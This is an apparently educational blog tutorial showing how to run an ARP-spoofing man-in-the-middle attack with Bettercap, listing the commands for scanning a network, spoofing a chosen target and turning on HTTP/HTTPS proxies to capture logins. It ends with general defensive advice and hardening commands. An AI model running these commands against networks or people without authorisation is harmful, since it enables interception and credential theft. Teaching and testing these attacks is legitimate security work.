MITM Attack in Action: Stealing User Credentials with Bettercap

2025-02-11

Man-in-the-Middle (MITM) attacks are a significant threat in the cybersecurity landscape, where attackers intercept and manipulate communication between two parties. In this article, we’ll explore how to simulate an MITM attack using Bettercap, a powerful tool for network analysis and penetration testing. This demonstration is strictly for educational purposes to help you understand the risks and protect your systems.

Setting Up Bettercap for MITM

First, ensure you have Bettercap installed on your system. You can install it using the following command:

sudo apt-get update
sudo apt-get install bettercap

Once installed, launch Bettercap with the following command:

sudo bettercap

Configuring the MITM Attack

To perform an MITM attack, you need to identify the target network and the devices connected to it. Use the following command to scan the network:

net.probe on

This will list all devices on the network. Identify the target IP address and use the following command to start the MITM attack:

set arp.spoof.targets <target-IP>
arp.spoof on

Bettercap will now spoof the ARP tables, redirecting traffic through your machine. To capture credentials, enable the `http.proxy` and `https.proxy` modules:

http.proxy on
https.proxy on

These modules will intercept HTTP and HTTPS traffic, allowing you to capture login credentials and other sensitive information.

Protecting Against MITM Attacks

To defend against MITM attacks, consider the following measures:

Use HTTPS: Ensure all web traffic is encrypted using HTTPS.
VPNs: Use a Virtual Private Network (VPN) to encrypt your internet traffic.
Network Monitoring: Implement network monitoring tools to detect unusual activity.
Strong Authentication: Use multi-factor authentication (MFA) to add an extra layer of security.

What Undercode Say

MITM attacks are a stark reminder of the vulnerabilities present in unsecured networks. By understanding how these attacks work, you can take proactive steps to protect your systems. Here are some additional Linux commands and tools to enhance your cybersecurity posture:

Wireshark: Analyze network traffic in real-time.
```
sudo apt-get install wireshark
```
Nmap: Scan your network for open ports and services.
```
sudo apt-get install nmap
nmap -sP 192.168.1.0/24
```
Fail2Ban: Protect against brute-force attacks.
```
sudo apt-get install fail2ban
```

IPTables: Configure a firewall to filter traffic.

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

SSH Hardening: Secure your SSH server.
```
sudo nano /etc/ssh/sshd_config
```

For further reading on MITM attacks and cybersecurity, visit the following resources:
– OWASP MITM Attack Guide
– Bettercap Documentation

By implementing these tools and practices, you can significantly reduce the risk of falling victim to MITM attacks and other cyber threats. Stay vigilant and keep your systems secure.